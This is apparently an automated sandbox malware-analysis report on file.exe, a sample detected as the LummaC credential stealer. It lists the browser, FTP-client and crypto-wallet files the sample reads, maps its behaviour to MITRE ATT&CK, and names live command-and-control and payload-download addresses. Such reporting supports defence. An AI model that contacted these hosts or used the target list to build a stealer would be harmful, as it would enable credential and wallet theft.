Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1561723800.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1558164369.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1526544111.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1540497373.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4360, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 4360, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	751 Security Software Discovery	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	34 Virtualization/Sandbox Evasion	LSASS Memory	34 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.LummaStealer
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cook-rain.sbs/api0Z	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apigLX/	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apigsBX1	100%	Avira URL Cloud	malware
http://go.microsoft.co(	0%	Avira URL Cloud	safe
https://cook-rain.sbs/&	100%	Avira URL Cloud	malware
https://cook-rain.sbs/KxT	100%	Avira URL Cloud	malware
https://cook-rain.sbs/y	100%	Avira URL Cloud	malware
https://cook-rain.sbs//	100%	Avira URL Cloud	malware
https://cook-rain.sbs/T	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	188.114.96.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
s-part-0015.t-0009.t-msedge.net	13.107.246.43	true	false	high
www.google.com	142.250.185.164	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_129.6.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_129.6.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_129.6.dr	false		high
https://cook-rain.sbs/KxT	file.exe, 00000000.00000003.1558164369.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs:443/apical	file.exe, 00000000.00000002.1802332924.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_109.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://cook-rain.sbs/api0Z	file.exe, 00000000.00000003.1576456236.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1572040614.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_129.6.dr	false		high
https://cook-rain.sbs//	file.exe, 00000000.00000003.1572040614.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_129.6.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_129.6.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://cook-rain.sbs/apigsBX1	file.exe, 00000000.00000003.1611460790.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/gewarren	chromecache_129.6.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.1802164563.00000000008FB000.00000004.00000010.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1542507663.0000000005968000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://cook-rain.sbs/T	file.exe, 00000000.00000003.1572040614.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_129.6.dr	false		high
https://cook-rain.sbs/apigLX/	file.exe, 00000000.00000003.1572040614.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_129.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_129.6.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://aka.ms/certhelp	chromecache_121.6.dr, chromecache_109.6.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, file.exe, 00000000.00000003.1695602727.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1802595444.0000000000BD1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1787510427.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000003.1561723800.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1558164369.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1572040614.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1572114206.0000000000BF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1562218373.0000000000BF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1562020361.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1540497373.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1611460790.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_129.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/y	file.exe, 00000000.00000003.1572040614.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://schema.org	chromecache_109.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1542507663.0000000005968000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_129.6.dr	false		high
http://go.microsoft.co(	file.exe, 00000000.00000002.1802595444.0000000000BE2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1787510427.0000000000BE2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_129.6.dr	false		high
http://185.215.113.16/	file.exe, 00000000.00000003.1695602727.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1696221263.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1696121063.0000000000BF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://github.com/adegeo	chromecache_129.6.dr	false		high
http://crl.micro	file.exe, 00000000.00000003.1572040614.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1576456236.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1611460790.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/&	file.exe, 00000000.00000003.1572040614.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_121.6.dr, chromecache_109.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_121.6.dr, chromecache_109.6.dr	false		high
